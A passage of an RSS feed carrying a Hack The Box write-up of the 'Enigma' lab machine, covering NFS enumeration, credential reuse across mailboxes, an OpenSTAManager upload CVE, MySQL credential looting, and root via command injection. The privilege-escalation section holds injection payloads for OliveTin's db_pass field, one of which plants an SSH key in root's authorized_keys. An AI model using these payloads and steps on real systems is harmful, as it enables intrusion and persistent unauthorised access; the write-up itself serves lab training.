&lt;p&gt;LinkedIn: &lt;a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/muhammad-saad-9818502b3/&lt;/a&gt;&lt;br&gt;
Guthub: &lt;a href="https://github.com/msaadraj" rel="noopener noreferrer"&gt;https://github.com/msaadraj&lt;/a&gt;&lt;br&gt;
Medium: &lt;a href="https://medium.com/@0x7ipher" rel="noopener noreferrer"&gt;https://medium.com/@0x7ipher&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fioosorcy5iejpzexsnib.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fioosorcy5iejpzexsnib.png" alt=" " width="275" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>writeup</category>
      <category>hacking</category>
    </item>
    <item>
      <title>HTB-Enigma Writeup</title>
      <dc:creator>Muhammad Saad</dc:creator>
      <pubDate>Mon, 21 Sep 2026 05:52:50 +0000</pubDate>
      <link>https://dev.to/muhammad_saad_ce88b4330bf/htb-enigma-writeup-2p1d</link>
      <guid>https://dev.to/muhammad_saad_ce88b4330bf/htb-enigma-writeup-2p1d</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Enigma is an easy Linux machine on Hack The Box that requires chaining network file sharing, email enumeration, and local misconfigurations to achieve full system compromise.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Active Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sSV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;--min-rate&lt;/span&gt; 1000 &lt;span class="nt"&gt;-p-&lt;/span&gt; 10.129.139.137 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; enigma_nmap.txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Open ports:
80, 110, 111, 143, 993, 995, 2049, 41393, 43313, 46985, 54279, 56515

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Interesting service:
2049/tcp open  nfs  3-4 (RPC #100003)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  NFS Enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;showmount &lt;span class="nt"&gt;-e&lt;/span&gt; enigma.htb

Export list &lt;span class="k"&gt;for &lt;/span&gt;enigma.htb: 
/srv/nfs/onboarding &lt;span class="k"&gt;*&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Mount the NFS share:

&lt;span class="nb"&gt;sudo mkdir&lt;/span&gt; /mnt/enigma 
&lt;span class="nb"&gt;sudo &lt;/span&gt;mount &lt;span class="nt"&gt;-t&lt;/span&gt; nfs enigma.htb:/srv/nfs/onboarding /mnt/enigma
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /mnt/enigma

&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root root 1751 Feb 20 2026 New_Employee_Access.pdf

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The PDF contained webmail credentials:

URL:      http://mail001.enigma.htb
Username: kevin
Password: *******

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;From Kevin's mailbox, additional username was also discovered: sarah

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Initial Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The same password worked for Sarah's mailbox:

Username: sarah
Password: ******

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sarah's mailbox contained an OpenSTAManager access request:

URL:      http://support_001.enigma.htb
Username: admin
Password: ******

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OpenSTAManager was running: Version: 2.9.8 (R5ff39df9b)

The application was vulnerable to file upload exploitation via:
CVE-2025-69212

This resulted in command execution as:
www-data

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Low-Privilege Enumeration
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;After obtaining www-data, &lt;span class="nb"&gt;local &lt;/span&gt;listening services were enumerated:
ss &lt;span class="nt"&gt;-lntp&lt;/span&gt;

Interesting services:
127.0.0.1:3306
127.0.0.1:1337

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;MySQL&lt;/span&gt; &lt;span class="n"&gt;credentials&lt;/span&gt; &lt;span class="n"&gt;were&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="nc"&gt;OpenSTAManager&lt;/span&gt; &lt;span class="n"&gt;configuration&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openstamanager&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;

&lt;span class="nv"&gt;$db_host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'localhost'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$db_username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'brollin'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$db_password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'*******'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;Connect&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;MySQL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="n"&gt;brollin&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;

&lt;span class="n"&gt;USE&lt;/span&gt; &lt;span class="n"&gt;openstamanager&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;zz_users&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;contained&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;haris&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="s1"&gt;'s password hash.
After cracking the hash, the credentials were discovered.
SSH access was then obtained as haris.
cat /home/haris/user.txt

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;The service running on port 1337 was identified as OliveTin.
curl 127.0.0.1:1337

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Since the service was bound to localhost, an SSH tunnel was created:
ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 1337:127.0.0.1:1337 haris@enigma.htb

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;OliveTin configuration&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cat /etc/OliveTin/config.yaml&lt;/span&gt;

&lt;span class="na"&gt;The configuration contained a Backup Database action&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Backup Database&lt;/span&gt;
  &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;backup_database&lt;/span&gt;
  &lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mysqldump&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-u&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;db_user&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-p'{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;db_pass&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}'&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;db_name&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;/opt/backups/backup.sql"&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;The db_pass parameter was vulnerable to &lt;span class="nb"&gt;command &lt;/span&gt;injection.

A harmless proof-of-concept was used first: &lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="s1"&gt;'; id &amp;gt; /tmp/olivetin_poc; echo '&lt;/span&gt;

Then: &lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/olivetin_poc

&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
This confirmed &lt;span class="nb"&gt;command &lt;/span&gt;execution as root.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Root Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Generate an SSH key on Kali:

ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/id_ed25519.pub

The public key was injected through the vulnerable db_pass parameter:

&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="s1"&gt;'; mkdir -p /root/.ssh; echo '&lt;/span&gt;&amp;lt;YOUR_PUBLIC_KEY&amp;gt;&lt;span class="s1"&gt;' &amp;gt;&amp;gt; /root/.ssh/authorized_keys; chmod 600 echo '&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Then connect as root:

ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/id_ed25519 root@10.129.139.137
&lt;span class="nb"&gt;whoami
&lt;/span&gt;root

Finally: &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt

Root obtained.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;blockquote&gt;
&lt;p&gt;Thank you for reading. I hope you enjoyed this story and found it helpful.😊&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;LinkedIn:&lt;/strong&gt; &lt;a href="https://www.linkedin.com/in/muhammad-saad-9818502b3/" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/muhammad-saad-9818502b3/&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Guthub:&lt;/strong&gt; &lt;a href="https://github.com/msaadraj" rel="noopener noreferrer"&gt;https://github.com/msaadraj&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Medium:&lt;/strong&gt; &lt;a href="https://medium.com/@0x7ipher" rel="noopener noreferrer"&gt;https://medium.com/@0x7ipher&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fux22j9wsn01or2m3p8yd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fux22j9wsn01or2m3p8yd.png" alt=" " width="275" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>writeup</category>
    </item>
  </channel>
</rss>
